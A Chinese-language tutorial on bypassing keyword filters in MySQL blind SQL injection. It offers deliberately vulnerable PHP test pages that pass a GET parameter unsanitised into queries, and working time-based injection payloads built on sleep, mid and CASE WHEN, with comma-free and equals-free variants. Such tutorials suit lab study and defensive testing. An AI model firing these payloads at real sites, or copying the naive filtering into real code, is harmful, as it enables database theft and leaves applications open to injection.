mysql盲注绕过关键字过滤常用技巧
在我们渗透过程中,经常遇到如同空格,逗号之类被过滤的情况。
1、空格被过滤
我们可以通过/**/、括号、%0a等控制字符来绕过。
测试代码如下:
<?php
$coon=@mysql_connect("localhost", "root", "");
mysql_select_db("test");
$id = str_replace(' ','',$_GET['id']);
$sql = "select password from users where id = '$id'";
echo $sql."<br/>";
$result=mysql_query($sql);
while($ro=mysql_fetch_assoc($result)){
$row[] = $ro;
}
print_r($row);
?>
@/**/代替空格(/*!50000select*/这种形式里面的select也会执行,里面的数字和mysql版本有关)
@%0a代替空格
@括号代替空格(注意是把单独可执行成功的子句括起来)
2、逗号、注释符被过滤
当逗号被过滤时,像我们在注入是很多函数都不好使了。但是还是可以通过一些技巧来绕过,如括号、SELECT CASE WHEN来构造盲注等。
另外当注释符被过滤时,当通过浏览器传入参数构造的sql语句在执行时遇到 ` 会把后面的注释,这就可以绕过后面 ' 之类的限制了。
测试代码
<?php $coon=@mysql_connect("localhost", "root", ""); mysql_select_db("test");
$id = str_replace(',','',$_GET['id']); $id = str_replace('#','',$_GET['id']); $id = str_replace('%23','',$_GET['id']); $id = str_replace('-- ','',$_GET['id']); $sql = "select password from users where id = '$id'"; echo $sql."<br/>"; $result=mysql_query($sql); while($ro=mysql_fetch_assoc($result)){ $row[] = $ro; } print_r($row); ?>
@括号来绕过
2' or sleep(ord(mid((select(flag)from(flag))from(1)for(1)))>0) and '1'='1
@SELECT CASE WHEN绕过
这个也就是:select case when (条件) then 代码1 else 代码 2 end 语句的使用
2' or (SELECT * FROM (SELECT(case when ((select count(flag) from flag)>0) then sleep(2) else sleep(0) end))lzRG) and '1'='1
当然,对于过滤逗号,还有很多其他的技巧过,如:
>select substring((select user()) from -1);
>select * from ( (select user())a JOIN (select version())b );
3、limit中逗号被过滤
有时候,我们需要的是结果是需要加limit m,n形式限制的,其中m是指记录开始的index,从0开始,表示第一条记录,n是指从第m+1条开始,取n条。这时候就需要采用可以采用offset来绕过。
测试代码:
<?php
$coon=@mysql_connect("localhost", "root", "");
mysql_select_db("test");
$id=str_replace(',','',$_GET['id']);
$sql = "select password from users where id = '$id'";
echo $sql."<br/>";
$result=mysql_query($sql);
if(mysql_num_rows($result) == 1){
$row = mysql_fetch_assoc($result);
if ($row['password'] == $_GET['pass']) echo 'successed!!';
}
?>
这里用到的是offset属性,在mysql中运行如下:
mysql> select password from users where id = '' or 1 group by password with roll up; +----------------------+ | password | +----------------------+ | 0 | | 123 | | 123456 | | 21232f297a57a5a74389 | | NULL | +----------------------+ 5 rows in set (0.00 sec) mysql> select password from users where id = '' or 1 group by password with roll up limit 1 offset 4; +----------+ | password | +----------+ | NULL | +----------+ 1 row in set (0.00 sec)
另一种不需要limit的限制字段。当使用group by 字段时,字段条件为假,是会返回一条记录的,如下:
这样也相当于间接过了limit限制,但局限性在于无法单独去取后面的单条记录。、
4、= ' 被过滤
等号被过滤,可以用 NULLIF(a,b) 去绕过,并且如果遇到了过滤了单引号,可以采用十六进制编码的方式绕过。举个例子:
当 if 里面的条件为真时,按照 id 排序,为假时按照 password 排序

但如果等号被过滤了,可以用 NULLIF(a,b) 来绕过,当 a 和 b 相等时,返回 NULL,按照 password 排序;否则返回 1,按照 id 排序

如果逗号也被过滤了,用十六进制编码

浙公网安备 33010602011771号